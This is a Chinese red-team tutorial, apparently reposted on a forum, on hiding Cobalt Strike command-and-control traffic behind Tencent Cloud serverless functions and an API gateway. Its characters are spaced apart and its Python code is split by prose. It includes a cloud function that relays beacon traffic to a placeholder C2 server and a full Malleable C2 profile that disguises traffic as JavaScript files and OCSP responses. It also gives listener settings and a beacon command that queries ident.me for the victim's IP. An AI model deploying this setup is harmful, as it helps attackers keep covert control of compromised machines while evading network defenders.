搜索

[396] 2021-05-30_CS使用云函数隐藏C2流量

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2021-05-30_CS使用云函数隐藏C2流量 C S 使 用 云 函 数 隐 藏 C 2 流 量 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 1 - 0 5 - 3 0 收 录 于 话 题   # R e d T e a m   , 5 个 介 绍 介 绍 在 隐 藏 C 2 流 量 上 ， 除 了 之 前 记 录 的 C D N 、 域 前 置 、 请 求 转 发 外 ， 一 些 支 持 云 函 数 的 厂 商 也 可 用 来 做 C 2 流 量 的 隐 藏 。 操 作 上 相 对 比 较 简 单 ， 这 里 我 们 先 看 几 个 概 念 。 S e r v e r l e s s 的 作 用 和 优 点 的 作 用 和 优 点 S e r v e r l e s s 是 云 计 算 中 的 一 种 技 术 ， 那 么 ， 什 么 是 S e r v e r l e s s ， 单 词 翻 译 为 无 服 务 器 。 通 常 我 们 一 个 项 目 部 署 上 线 要 考 虑 这 个 项 目 的 运 行 环 境 、 项 目 部 署 的 服 务 器 要 什 么 配 置 、 部 署 上 线 后 怎 么 运 维 等 等 的 情 况 ， 现 在 我 们 嫌 麻 烦 ， 只 想 关 注 我 项 目 上 代 码 的 实 现 ， 专 心 写 代 码 ， 其 它 东 西 不 想 考 虑 ， 那 么 就 会 用 到 S e r v e r l e s s ， 所 谓 无 服 务 器 即 针 对 开 发 者 ， 只 需 要 提 供 写 好 的 代 码 ， 其 它 一 系 列 繁 琐 的 事 ， S e r v e r l e s s 都 会 搞 定 。 这 样 S e r v e r l e s s 有 几 个 明 显 的 优 点 就 体 现 出 来 了 ， 首 先 就 是 降 低 了 运 维 需 求 ， 或 者 说 不 需 要 运 维 了 ， 因 为 我 们 的 应 用 不 需 要 考 虑 在 服 务 器 上 运 行 的 情 况 ， 也 不 需 要 考 虑 服 务 器 配 置 ， 而 是 全 部 交 给 了 云 厂 商 。 第 二 个 就 是 运 营 成 本 也 降 低 了 ， 因 为 S e r v e r l e s s 是 按 需 执 行 的 ， 只 有 当 有 请 求 或 事 件 触 发 时 ， 才 会 加 载 运 行 ， 空 闲 状 态 下 的 S e r v e r l e s s 并 不 占 资 源 ， 那 么 用 户 只 需 要 为 处 理 请 求 的 次 数 付 费 就 可 以 了 。 第 三 个 是 缩 短 了 迭 代 周 期 和 上 线 时 间 ， S e r v e r l e s s 也 是 一 种 架 构 模 式 ， 可 以 让 业 务 解 耦 ， 应 用 功 能 可 分 成 很 多 个 无 状 态 函 数 ， 开 发
时 ， 可 以 针 对 单 个 功 能 快 速 开 发 和 上 线 ， 而 不 是 整 个 项 目 开 发 完 再 上 线 。 第 四 个 就 是 弹 性 扩 容 ， 不 需 要 考 虑 说 业 务 增 加 了 ， 功 能 增 加 了 ， S e r v e r l e s s 资 源 会 不 会 超 载 的 情 况 ， S e r v e r l e s s 会 根 据 情 况 自 动 扩 容 。 云 函 数 云 函 数 从 上 面 第 三 点 也 可 以 看 出 来 ， S e r v e r l e s s 可 通 过 云 函 数 来 开 发 ， 所 谓 云 函 数 ， 我 这 里 的 理 解 就 是 普 通 的 代 码 写 成 的 函 数 ， 只 不 过 部 署 在 云 上 。 云 函 数 启 动 运 行 的 条 件 就 是 有 请 求 过 来 了 ， 有 事 件 过 来 了 （ 一 个 h t t p 请 求 、 一 个 文 件 上 传 、 一 个 增 删 改 查 等 等 都 可 为 事 件 ） ， 被 触 发 了 就 会 启 动 运 行 。 像 往 常 的 模 式 是 我 们 先 来 个 监 听 ， 然 后 一 直 等 待 。 S e r v e r l e s s 架 构 架 构 S e r v e r l e s s 也 可 以 认 为 是 一 个 架 构 模 式 ， 如 下 图 ， 开 发 只 需 要 关 注 代 码 部 分 ， 即 绿 色 部 分 ， 其 它 部 分 的 则 不 需 要 太 关 注 ： S e r v e r l e s s 简 单 理 解 简 单 理 解 上 面 说 那 么 多 ， 简 单 理 解 就 是 项 目 部 署 时 ， 不 需 要 再 购 买 云 服 务 器 了 ， 直 接 使 用 云 函 数 来 部 署 代 码 ， 开 发 时 只 需 要 关 注 代 码 ， 其 它 都 不 用 考 虑 ， 省 时 间 、 省 成 本 、 开 发 还 快 ， 运 维 也 不 需 要 了 ， 厂 商 服 务 一 应 俱 全 。 S e r v e r l e s s 所 谓 的 无 服 务 器 ， 是 针 对 自 己 不 需 要 服 务 器 了 ， 但 代 码 运 行 肯 定 要 有 服 务 器 ， 这 个 服 务 器 是 厂 商 提 供 的 ， 而 用 户 只 按 请 求 次 数 交 费 ， 不 需 要 交 服 务 器 费 用 ， 所 以 叫 无 服 务 器 。 T X 云 函 数 测 试 云 函 数 测 试
首 先 ， 在 T X 云 服 务 器 上 找 到 云 函 数 ， 可 以 搜 索 云 函 数 或 者 在 所 有 产 品 下 的 S e r v e r l e s s 下 打 开 ， 然 后 选 择 函 数 服 务 ， 去 新 建 一 个 函 数 ， 如 下 图 ： 根 据 自 己 的 情 况 选 择 即 可 ， 这 里 运 行 环 境 选 择 的 P Y 3 . 6 ， 函 数 代 码 先 不 写 ， 默 认 就 可 以 ， 点 击 完 成 。
随 后 需 要 创 建 一 个 触 发 器 ， 前 面 介 绍 说 过 ， 云 函 数 的 运 行 需 要 一 个 事 件 或 请 求 来 触 发 它 ， 选 择 刚 才 创 建 的 云 函 数 进 行 管 理 ： 点 击 创 建 触 发 器 ， 触 发 版 本 选 择 L A T E S T 最 新 ， 触 发 方 式 选 择 A P I 网 关 触 发 ， 这 里 的 A P I 网 关 触 发 ， 根 据 文 档 介 绍 可 知 它 的 机 制 ， 即 将 请 求 内 容 以 参 数 形 式 传 递 给 函 数 ， 并 将 函 数 的 返 回 作 为 响 应 的 内 容 。 其 它 选 项 默 认 即 可 。 触 发 器 配 置 好 后 ， 我 们 发 布 一 个 新 版 本 ：
访 问 提 供 的 U R L ， 如 果 返 回 4 0 3 错 误 ， 那 就 说 明 成 功 触 发 了 函 数 中 的 默 认 代 码 。 正 常 情 况 下 应 该 返 回 H e l l o W o r d ， 问 题 在 于 我 们 创 建 触 发 器 时 的 那 个 集 成 响 应 选 项 ， 选 项 描 述 大 致 意 思 是 ， 如 果 勾 选 ， 则 函 数 返 回 的 内 容 会 进 行 处 理 方 便 A P I 网 关 解 析 ， 不 启 用 就 直 接 内 容 返 回 ， 我 们 用 C S 时 返 回 内 容 通 常 都 是 二 进 制 ， 需 要 进 行 解 析 ， 所 以 这 里 要 勾 上 。 证 明 可 成 功 通 过 触 发 器 调 用 云 函 数 后 ， 我 们 修 改 下 默 认 的 源 代 码 ， 改 成 我 们 请 求 转 发 的 代 码 ， 示 例 代 码 如 下 ： #   - * -   c o d i n g :   u t f 8   - * - i m p o r t   j s o n , r e q u e s t s , b a s e 6 4 d e f   m a i n _ h a n d l e r ( e v e n t ,   c o n t e x t ) :         C 2 = ' h t t p : / / < C 2 服 务 器 地 址 > '   #   这 里 可 以 使 用   H T T P 、 H T T P S ~ 下 角 标 ~         p a t h = e v e n t [ ' p a t h ' ]         h e a d e r s = e v e n t [ ' h e a d e r s ' ]
代 码 接 收 e v e n t 和 c o n t e x t 参 数 ， 参 数 说 明 可 以 参 考 官 方 文 档 ， C 2 改 为 自 己 的 服 务 器 地 址 和 端 口 ， 函 数 的 内 容 返 回 由 r e t u r n 定 义 。 可 以 看 出 整 段 代 码 的 作 用 就 是 将 收 到 的 请 求 进 行 了 转 发 ， 转 发 给 了 C 2 服 务 器 ， 和 上 一 节 的 请 求 转 发 是 类 似 的 ， 只 不 过 上 一 节 是 通 过 中 转 服 务 器 操 作 的 ， 而 这 个 是 通 过 云 厂 商 的 S e r v e r l e s s 实 现 的 。 云 函 数 代 码 配 置 好 后 ， 需 要 再 配 一 下 A P I 网 关 ： 编 辑 刚 才 创 建 的 A P I ： 将 路 径 改 为 根 路 径 ：         p r i n t ( e v e n t )         i f   e v e n t [ ' h t t p M e t h o d ' ]   = =   ' G E T '   :                 r e s p = r e q u e s t s . g e t ( C 2 + p a t h , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )         e l s e :                 r e s p = r e q u e s t s . p o s t ( C 2 + p a t h , d a t a = e v e n t [ ' b o d y ' ] , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )                 p r i n t ( r e s p . h e a d e r s )                 p r i n t ( r e s p . c o n t e n t )         r e s p o n s e = {                 " i s B a s e 6 4 E n c o d e d " :   T r u e ,                 " s t a t u s C o d e " :   r e s p . s t a t u s _ c o d e ,                 " h e a d e r s " :   d i c t ( r e s p . h e a d e r s ) ,                 " b o d y " :   s t r ( b a s e 6 4 . b 6 4 e n c o d e ( r e s p . c o n t e n t ) ) [ 2 : - 1 ]         }         r e t u r n   r e s p o n s e
最 后 点 击 完 成 并 发 布 就 可 以 了 ， 可 以 在 基 础 配 置 中 看 到 公 网 访 问 地 址 提 供 了 8 0 和 4 4 3 ， 也 就 是 说 我 们 C S 配 置 监 听 时 的 地 址 ， h t t p 就 用 8 0 ， h t t p s 就 用 4 4 3 . 配 置 C S   P r o f i l e ， 内 容 这 里 参 考 下 面 示 例 ， 我 见 大 家 都 用 的 这 个 ： s e t   s a m p l e _ n a m e   " t " ; s e t   s l e e p t i m e   " 3 0 0 0 " ; s e t   j i t t e r       " 0 " ; s e t   m a x d n s       " 2 5 5 " ; s e t   u s e r a g e n t   " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   6 . 1 ;   T r i d e n t / 5 . 0 ) " ; h t t p - g e t   {     s e t   u r i   " / a p i / x " ;     c l i e n t   {             h e a d e r   " A c c e p t "   " * / * " ;             m e t a d a t a   {                     b a s e 6 4 ;                     p r e p e n d   " S E S S I O N I D = " ;                     h e a d e r   " C o o k i e " ;             }     }
这 段 配 置 文 件 结 合 我 们 之 前 云 函 数 的 配 置 ， 可 以 看 出 来 ， 主 要 设 置 在 于 h e a d e r 的 传 输 编 码 设 置 为 b i n a r y ， 输 出 格 式 为 b a s e 6 4 ， 使 用 上 述 配 置 文 件 启 动 C S 服 务 端 。 然 后 设 置 监 听 ， 监 听 的 H o s t s 和 S t a g e r   H o s t 都 设 置 为 云 函 数 给 的 那 个 U R L ， 注 意 把 h t t p : / / 和 : 8 0 去 掉 ， 我 这 里 试 的 没 有 上 线 ， 还 有 个 点 是 云 函 数 给 的 U R L 只 支 持 8 0 和 4 4 3 ， 而 我 们 C 2 服 务 器 理 论 上 是 可 以 使 用 任 何 端 口 的 ， 但 实 际 测 试 中 ， 8 8 8 8 没 上 线 ， 所 以 这 里 使 用 的 是 8 0 ：     s e r v e r   {             h e a d e r   " C o n t e n t - T y p e "   " a p p l i c a t i o n / o c s p - r e s p o n s e " ;             h e a d e r   " c o n t e n t - t r a n s f e r - e n c o d i n g "   " b i n a r y " ;             h e a d e r   " S e r v e r "   " N o d e j s " ;             o u t p u t   {                     b a s e 6 4 ;                     p r i n t ;             }     } } h t t p - s t a g e r   {     s e t   u r i _ x 8 6   " / v u e . m i n . j s " ;     s e t   u r i _ x 6 4   " / b o o t s t r a p - 2 . m i n . j s " ; } h t t p - p o s t   {     s e t   u r i   " / a p i / y " ;     c l i e n t   {             h e a d e r   " A c c e p t "   " * / * " ;             i d   {                     b a s e 6 4 ;                     p r e p e n d   " J S E S S I O N = " ;                     h e a d e r   " C o o k i e " ;             }             o u t p u t   {                     b a s e 6 4 ;                     p r i n t ;             }     }     s e r v e r   {             h e a d e r   " C o n t e n t - T y p e "   " a p p l i c a t i o n / o c s p - r e s p o n s e " ;             h e a d e r   " c o n t e n t - t r a n s f e r - e n c o d i n g "   " b i n a r y " ;             h e a d e r   " C o n n e c t i o n "   " k e e p - a l i v e " ;             o u t p u t   {                     b a s e 6 4 ;                     p r i n t ;             }     } }
注 意 这 里 上 线 的 I P 是 一 直 变 化 的 ， 都 是 腾 讯 云 的 I P ， 如 果 想 获 取 目 标 机 的 I P ， 可 以 执 行 s h e l l   c u r l   i d e n t . m e 命 令 ： h t t p s 同 理 ， 监 听 如 下 ：
其 中 通 信 地 址 类 似 于 厂 商 的 C D N ， I P 地 址 为 厂 商 I P ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理